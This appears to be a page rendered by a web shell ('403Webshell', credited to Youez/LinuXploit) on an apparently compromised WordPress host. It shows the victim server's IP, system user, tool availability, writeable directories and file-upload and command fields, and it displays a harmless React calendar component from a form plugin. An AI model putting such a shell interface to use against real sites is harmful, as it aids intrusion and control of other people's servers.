403Webshell
Server IP : 213.186.33.2  /  Your IP : 216.73.216.39
Web Server : Apache
System : Linux webm005.cluster102.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : symetry ( 21728)
PHP Version : 8.2.31
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/symetry/www/wp-content/plugins/contact-form-7-honeypot/src/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/symetry/www/wp-content/plugins/contact-form-7-honeypot/src/components/CF7AppsCalendar.js
import { useState } from "@wordpress/element";
import { DateRangePicker } from 'react-date-range';

const CF7AppsCalendar = ( { selection, onSelect, selectedDate, placeHolder } ) => {
    const [ active, setActive ] = useState( false );
    let handleSelect = ( e ) => {
        onSelect( e );
    }

    // close the calendar when clicking outside
    document.addEventListener( 'click', ( e ) => {
        if ( active && ! e.target.closest( '.cf7apps-calendar-wrapper' ) ) {
            setActive( false );
        }
    } );
    return (
        <div className={ 'cf7apps-calendar-wrapper' } style={ { display: "inline-block", position: 'relative' } } >
            <input
                type="text"
                onClick={ e => { e.preventDefault(); setActive( ! active ) } }
                readOnly
                className={`cf7apps-form-input`}
                value={ selectedDate }
                placeholder={ placeHolder }
            />
            {
                active && (
                    <div style={ { position: 'absolute', top: '40px', right: 0, zIndex: 1000 } }>
                        <DateRangePicker
                            onChange={ handleSelect }
                            ranges={ selection }
                        />
                    </div>
                )
            }
        </div>
    )
}

export default CF7AppsCalendar;

Youez - 2016 - github.com/yon3zu
LinuXploit